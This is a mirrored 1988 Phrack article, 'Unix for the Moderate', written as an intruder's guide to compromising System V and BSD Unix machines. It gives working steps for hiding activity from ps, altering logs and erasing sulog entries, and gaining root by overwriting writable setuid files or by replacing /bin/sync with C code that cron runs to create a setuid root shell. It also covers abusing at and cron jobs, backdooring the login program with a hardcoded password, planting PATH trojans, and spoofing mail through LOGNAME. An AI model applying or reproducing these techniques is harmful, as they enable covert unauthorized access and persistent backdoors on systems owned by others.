mirror of
https://github.com/fdiskyou/Zines.git
synced 2025-03-09 00:00:00 +01:00
245 lines
10 KiB
Text
245 lines
10 KiB
Text
![]() |
==Phrack Inc.==
|
||
|
|
||
|
Volume Two, Issue 18, Phile #6 of 11
|
||
|
|
||
|
------------------------------------------------------------------------------
|
||
|
Unix for the Moderate
|
||
|
-------------------------------------------------------------------------------
|
||
|
By: The Urvile, Necron 99, and a host of me.
|
||
|
-------------------------------------------------------------------------------
|
||
|
|
||
|
Disclaimer:
|
||
|
|
||
|
This is mainly for system five. I do reference BSD occasionally, but I
|
||
|
mark those. All those little weird brands (i.e., DEC's Ultrix, Xenix, and
|
||
|
so on) can go to hell.
|
||
|
|
||
|
|
||
|
Security: (Improving yours.)
|
||
|
|
||
|
-Whenever logging onto a system, you should always do the following:
|
||
|
$ who -u
|
||
|
$ ps -ef
|
||
|
$ ps -u root
|
||
|
|
||
|
or BSD:
|
||
|
$ who; w; ps uaxg
|
||
|
This prints out who is on, who is active, what is going on presently,
|
||
|
everything in the background, and so on.
|
||
|
|
||
|
And the ever popular:
|
||
|
$ find / -name "*log*" -print
|
||
|
This lists out all the files with the name 'log' in it. If you do find a
|
||
|
process that is logging what you do, or an odd log file, change it as soon
|
||
|
as you can.
|
||
|
|
||
|
If you think someone may be looking at you and you don't want to leave
|
||
|
(Useful for school computers) then go into something that allows shell
|
||
|
breaks, or use redirection to your advantage:
|
||
|
$ cat < /etc/passwd
|
||
|
That puts 'cat' on the ps, not 'cat /etc/passwd'.
|
||
|
|
||
|
If you're running a setuid process, and don't want it to show up on a ps
|
||
|
(Not a very nice thing to have happen), then:
|
||
|
$ super_shell
|
||
|
# exec sh
|
||
|
Runs the setuid shell (super_shell) and puts something 'over' it. You may
|
||
|
also want to run 'sh' again if you are nervous, because if you break out of
|
||
|
an exec'ed process, you die. Neat, huh?
|
||
|
|
||
|
|
||
|
Improving your id:
|
||
|
|
||
|
-First on, you should issue the command 'id' & it will tell you you your
|
||
|
uid and euid. (BSD: whoami; >/tmp/xxxx;ls -l /tmp/xxxx will tell you your
|
||
|
id [whoami] and your euid [ls -l].), terribly useful for checking on setuid
|
||
|
programs to see if you have root euid privs. Also, do this:
|
||
|
$ find / -perm -4000 -exec /bin/ls -lad {} ";"
|
||
|
Yes, this finds and does an extended list of all the files that have the
|
||
|
setuid bit on them, like /bin/login, /bin/passwd, and so on. If any of
|
||
|
them look nonstandard, play with them, you never can tell what a ^| will do
|
||
|
to them sometimes. Also, if any are writeable and executable, copy sh over
|
||
|
them, and you'll have a setuid root shell. Just be sure to copy whatever
|
||
|
was there back, otherwise your stay will probably be shortened a bit.
|
||
|
|
||
|
-What, you have the bin passwd?
|
||
|
|
||
|
Well, game over. You have control of the system. Everything in the bin
|
||
|
directory is owned by bin (with the exception of a few things), so you can
|
||
|
modify them at will. Since cron executes a few programs as root every once
|
||
|
in a while, such as /bin/sync, try this:
|
||
|
|
||
|
main()
|
||
|
{
|
||
|
if (getuid()==0 || getuid()==0) {
|
||
|
system("cp /bin/sh /tmp/sroot");
|
||
|
system("chmod 4777 /tmp/sroot"); }
|
||
|
sync();
|
||
|
}
|
||
|
|
||
|
$ cc file.c
|
||
|
$ cp /bin/sync /tmp/sync.old
|
||
|
$ mv a.out /bin/sync
|
||
|
$ rm file.c
|
||
|
|
||
|
Now, as soon as cron runs /bin/sync, you'll have a setuid shell in
|
||
|
/tmp/sroot. Feel free to hide it.
|
||
|
|
||
|
-the 'at' & 'cron' commands:
|
||
|
|
||
|
Look at the 'at' dir. Usually /usr/spool/cron/atjobs. If you can run 'at'
|
||
|
(check by typing 'at'), and 'lasttimedone' is writable, then: submit a
|
||
|
blank 'at' job, edit 'lastimedone' to do what you want it to do, and move
|
||
|
lasttimedone over your entry (like 88.00.00.00). Then the commands you put
|
||
|
in lasttimedone will be ran as that file's owner. Cron: in
|
||
|
/usr/spool/cron/cronjobs, there are a list of people running cron jobs.
|
||
|
Cat root's, and see if he runs any of the programs owned by you (Without
|
||
|
doing a su xxx -c "xxx"). For matter, check all the crons. If you can
|
||
|
take one system login, you should be able to get the rest, in time.
|
||
|
|
||
|
-The disk files.
|
||
|
|
||
|
These are rather odd. If you have read permission on the disks in /dev,
|
||
|
then you can read any file on the system. All you have to do is find it in
|
||
|
there somewhere. If the disk is writeable, if you use /etc/fsbd, you can
|
||
|
modify any file on the system into whatever you want, such as by changing
|
||
|
the permissions on /bin/sh to 4555. Since this is pretty difficult to
|
||
|
understand (and I don't get it fully), then I won't bother with it any
|
||
|
more.
|
||
|
|
||
|
-Trivial su.
|
||
|
|
||
|
You know with su you can log into anyone else's account if you know their
|
||
|
passwords or if you're root. There are still a number of system 5's that
|
||
|
have uid 0, null passwd, rsh accounts on them. Just be sure to remove your
|
||
|
entry in /usr/adm/sulog.
|
||
|
|
||
|
-Trojan horses? On Unix?
|
||
|
|
||
|
Yes, but because of the shell variable PATH, we are generally out of luck,
|
||
|
because it usually searches /bin and /usr/bin first. However, if the first
|
||
|
field is a colon, files in the present directory are searched first. Which
|
||
|
means if you put a modified version of 'ls' there, hey. If this isn't the
|
||
|
case, you will have to try something more blatant, like putting it in a
|
||
|
game (see Shooting Shark's file a while back). If you have a system login,
|
||
|
you may be able to get something done like that. See cron.
|
||
|
|
||
|
|
||
|
Taking over:
|
||
|
|
||
|
Once you have root privs, you should read all the mail in /usr/mail, just
|
||
|
to sure nothing interesting is up, or anyone is passing another systems
|
||
|
passwds about. You may want to add another entry to the passwd file, but
|
||
|
that's relatively dangerous to the life of your machine. Be sure not to
|
||
|
have anything out of the ordinary as the entry (i.e., No uid 0).
|
||
|
|
||
|
Get a copy of the login program (available at your nearest decent BBS, I
|
||
|
hope) of that same version of Unix, and modify it a bit: on system 5,
|
||
|
here's a modification pretty common: in the routine to check correct
|
||
|
passwds, on the line before the actual pw check, put a if
|
||
|
(!(strcmp(pswd,"woof"))) return(1); to check for your 'backdoor', enabling
|
||
|
you to log on as any valid user that isn't uid 0 (On system 5).
|
||
|
|
||
|
|
||
|
Neato things:
|
||
|
|
||
|
-Have you ever been on a system that you couldn't get root or read the
|
||
|
Systems/L.sys file? Well, this is a cheap way to overcome it: 'uuname'
|
||
|
will list all machines reachable by your Unix, then (Assuming they aren't
|
||
|
Direct, and the modem is available):
|
||
|
$ cu -d host.you.want [or]
|
||
|
$ uucico -x99 -r1 -shost.you.want
|
||
|
Both will do about the same for us. This will fill your screen with lots
|
||
|
of trivial material, but will eventually get to the point of printing the
|
||
|
phone number to the other system. -d enables the cu diagnostics, -x99
|
||
|
enables the uucico highest debug, and -R1 says 'uucp master'.
|
||
|
|
||
|
Back a year or two, almost everywhere had their uucp passwd set to the same
|
||
|
thing as their nuucp passwd (Thanks to the Systems file), so it was a
|
||
|
breeze getting in. Even nowadays, some places do it.. You never can tell.
|
||
|
|
||
|
-Uucp:
|
||
|
|
||
|
I personally don't like the uucp things. Uucico and uux are limited by the
|
||
|
Permissions file, and in most cases, that means you can't do anything
|
||
|
except get & take from the uucppublic dirs. Then again, if the
|
||
|
permission/L.cmd is blank, you should be able to take what files that you
|
||
|
want. I still don't like it.
|
||
|
|
||
|
-Sending mail:
|
||
|
|
||
|
Sometimes, the mail program checks only the shell var LOGNAME, so change
|
||
|
it, export it, and you may be able to send mail as anyone. (Mainly early
|
||
|
system 5's.)
|
||
|
$ LOGNAME="root";export LOGNAME
|
||
|
|
||
|
-Printing out all the files on the system:
|
||
|
|
||
|
Useful if you're interested in the filenames.
|
||
|
$ find / -print >file_list&
|
||
|
And then do a 'grep text file_list' to find any files with 'text' in their
|
||
|
names. Like grep [.]c file_list, grep host file_list....
|
||
|
|
||
|
-Printing out all restricted files:
|
||
|
|
||
|
Useful when you have root. As a normal user, do:
|
||
|
$ find / -print >/dev/null&
|
||
|
This prints out all nonaccessable directories, so become root and see what
|
||
|
they are hiding.
|
||
|
|
||
|
-Printing out all the files in a directory:
|
||
|
|
||
|
Better looking than ls -R:
|
||
|
$ find . -print
|
||
|
It starts at the present dir, and goes all the way down. Catches all
|
||
|
'.files', too.
|
||
|
|
||
|
-Rsh:
|
||
|
|
||
|
Well in the case of having an account with rsh only, check your 'set'. If
|
||
|
SHELL is not /bin/sh, and you are able to run anything with a shell escape
|
||
|
(ex, ed, vi, write, mail...), you should be put into sh if you do a '!sh'.
|
||
|
If you have write permission on your .profile, change it, because rsh is
|
||
|
ran after checking profile.
|
||
|
|
||
|
-Humor:
|
||
|
|
||
|
On a system 5, do a:
|
||
|
$ cat "food in cans"
|
||
|
|
||
|
or on a csh, do:
|
||
|
% hey unix, got a match?
|
||
|
|
||
|
Well, I didn't say it was great.
|
||
|
|
||
|
|
||
|
Password hacking:
|
||
|
|
||
|
-Salt:
|
||
|
|
||
|
In a standard /etc/passwd file, passwords are 13 characters long. This is
|
||
|
an 11 char encrypted passwd and a 2 char encryption modifier (salt), which
|
||
|
is used to change the des algorithm in one of 4096<?> ways. Which means
|
||
|
there is no decent way to go and reverse hack it. Yet.
|
||
|
|
||
|
On normal system 5 Unix, passwords are supposed to be 6-8 characters long
|
||
|
and have both numeric and alphabetic characters in them, which makes a
|
||
|
dictionary hacker pretty worthless. However, if a user keeps insisting his
|
||
|
password is going to be 'dog,' usually the system will comply (depending on
|
||
|
version). I have yet to try it, but having the hacker try the normal
|
||
|
entry, and then the entry terminated by [0-9] is said to have remarkable
|
||
|
results, if you don't mind the 10-fold increase in time.
|
||
|
|
||
|
|
||
|
Final notes:
|
||
|
|
||
|
Yes, I have left a lot out. That seems to be the rage nowadays.. If you
|
||
|
have noticed something wrong, or didn't like this, feel free to tell me.
|
||
|
If you can find me.
|
||
|
|
||
|
-------------------------------------------------------------------------------
|
||
|
Hi Ho. Here ends part one. <Of one?>
|
||
|
-------------------------------------------------------------------------------
|
||
|
Produced and directed by: Urvile & Necron 99
|
||
|
----------------------------------------------------------- (c) ToK inc., 1988
|